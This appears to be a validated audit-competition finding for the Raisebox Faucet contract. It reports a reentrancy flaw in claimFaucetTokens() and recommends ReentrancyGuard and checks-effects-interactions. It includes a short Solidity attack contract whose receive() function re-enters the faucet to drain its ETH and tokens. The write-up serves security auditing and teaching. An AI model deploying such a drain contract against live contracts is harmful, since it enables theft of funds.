Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy possible during ETH drip transfer in claimFaucetTokens()

Root + Impact

Description

  • The claimFaucetTokens function lets a user claim faucet tokens and, if they are a first-time claimer, also receive 0.005 Sepolia ETH. The function updates claim tracking variables and then transfers tokens and ETH to the claimer.

  • The function uses a low-level call to send ETH before all state changes are finalized, creating a reentrancy window. A malicious contract can re-enter claimFaucetTokens() through its fallback function and repeatedly drain faucet tokens and ETH.

function claimFaucetTokens() external {
...
if (isFirstTimeClaimer[faucetClaimer] == false) {
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // @> External call before finalizing state
if (success) {
sepEthDripsToday++;
isFirstTimeClaimer[faucetClaimer] = true; // @> State updated after external call
}
}
...
}

Risk

Likelihood:

  • A malicious contract can always trigger this by calling claimFaucetTokens() directly.

  • The faucet’s ETH balance can be drained in a single transaction since call() forwards all remaining gas.

Impact:

  • Multiple reentrant claims per transaction, leading to complete depletion of faucet tokens and ETH.

  • Contract unusable for legitimate users after exploitation.

Proof of Concept

contract ReentrancyAttack {
RaiseBoxFaucet faucet;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
receive() external payable {
// Reenter if faucet still has balance
if (address(faucet).balance >= 0.005 ether) {
faucet.claimFaucetTokens();
}
}
function startAttack() external {
faucet.claimFaucetTokens(); // triggers reentrancy
}
}

Running this contract once will continuously re-enter until the faucet’s ETH or tokens are exhausted.

Recommended Mitigation

To mitigate this:

  • Apply OpenZeppelin’s ReentrancyGuard and mark claimFaucetTokens as nonReentrant.

  • Follow the Checks-Effects-Interactions pattern:

    • Perform all validation (require/revert).

    • Update state (e.g., isFirstTimeClaimer, dailyClaimCount).

    • Perform external transfers at the end.

- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
+ // Use ReentrancyGuard to prevent reentry
+ function claimFaucetTokens() external nonReentrant {
+ ...
+ // Effects first
+ hasClaimedEth[faucetClaimer] = true;
+ lastClaimTime[faucetClaimer] = block.timestamp;
+
+ // Interactions last
+ (bool success,) = payable(faucetClaimer).call{value: sepEthAmountToDrip}("");
+ require(success, "ETH transfer failed");
+ emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+ }
Updates

Lead Judging Commences

inallhonesty Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.